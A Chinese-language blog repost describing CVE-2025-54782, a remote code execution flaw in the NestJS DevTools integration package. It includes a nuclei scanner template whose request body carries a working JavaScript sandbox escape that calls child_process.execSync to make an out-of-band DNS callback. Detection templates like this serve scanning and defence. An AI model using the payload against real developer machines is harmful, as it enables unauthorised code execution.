NestJS DevTools Integration Remote Code Execution Vulnerability

漏洞信息

漏洞名称: NestJS DevTools Integration Remote Code Execution Vulnerability

漏洞编号:

  • CVE: CVE-2025-54782

漏洞类型: 命令执行

漏洞等级: 严重

漏洞描述: 受影响的产品是NestJS DevTools集成包(@nestjs/devtools-integration),这是一个用于NestJS框架的开发工具,旨在帮助开发者更高效地进行应用开发和调试。该工具包在开发环境中暴露了一个本地HTTP服务器,提供了一个API端点(/inspector/graph/interact),用于与开发工具交互。NestJS是一个流行的Node.js框架,广泛用于构建高效、可扩展的服务器端应用程序。

漏洞解释:该漏洞属于远程代码执行(RCE)类型,由于@nestjs/devtools-integration包中的不安全JavaScript沙箱实现以及缺乏跨源保护措施,导致攻击者可以通过恶意网站利用此漏洞在开发者的本地机器上执行任意代码。具体来说,当开发者访问恶意网站时,网站可以利用暴露的API端点绕过沙箱限制,执行系统命令。

影响分析:此漏洞的严重性评级为“严重”,因为它允许未经身份验证的攻击者在受害者的机器上远程执行代码,可能导致数据泄露、服务中断或其他恶意活动。由于漏洞利用不需要用户交互,且可以自动化执行,因此风险极高。开发者和使用受影响版本的组织应立即采取行动,升级到修复版本,以避免潜在的安全威胁。

产品厂商: NestJS

产品名称: @nestjs/devtools-integration

影响版本: <= 0.2.0

来源: https://github.com/projectdiscovery/nuclei-templates/blob/988541237d856abb4498d4c78f514c7932a6f1dd/http%2Fcves%2F2025%2FCVE-2025-54782.yaml

类型: projectdiscovery/nuclei-templates:github issues

POC详情

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54

id: CVE-2025-54782

info:
name: NestJS DevTools Integration - Remote Code Execution
author: SeongHyeonJeon[nukunga]
severity: critical
description: |
The @nestjs/devtools-integration package <= 0.2.0 is vulnerable to a Remote Code Execution (RCE) vulnerability.
The package exposes a local development HTTP server with an API endpoint (/inspector/graph/interact) that uses an unsafe JavaScript sandbox.
Due to improper sandboxing and missing cross-origin protections, any malicious website visited by a developer can execute arbitrary code on their local machine.
reference:
- https://socket.dev/blog/nestjs-rce-vuln
- https://github.com/nestjs/nest/security/advisories/GHSA-85cg-cmq5-qjm7
- https://nvd.nist.gov/vuln/detail/CVE-2025-54782
classification:
cvss-metrics: CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
cvss-score: 9.4
cve-id: CVE-2025-54782
cwe-id: CWE-77, CWE-352, CWE-78
tags: cve,cve2025,nestjs,rce,sandbox,devtool,unauth

http:
- method: POST
path:
- "{{BaseURL}}/inspector/graph/interact"
headers:
Content-Type: "text/plain"
body: |
{"code":"(function(){try{propertyIsEnumerable.call()}catch(pp){pp.constructor.constructor('return process')().mainModule.require('child_process').execSync('nslookup {{interactsh-url}}')}})()"}

stop-at-first-match: true
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"

- type: status
status:
- 200

- type: word
part: body
words:
- "graph"
- "interact"
condition: or

- type: regex
part: header
regex:
- "(?i)content-type.*application/json"


NestJS DevTools Integration Remote Code Execution Vulnerability
http://example.com/2025/08/03/github_255410238/
作者
lianccc
发布于
2025年8月3日
许可协议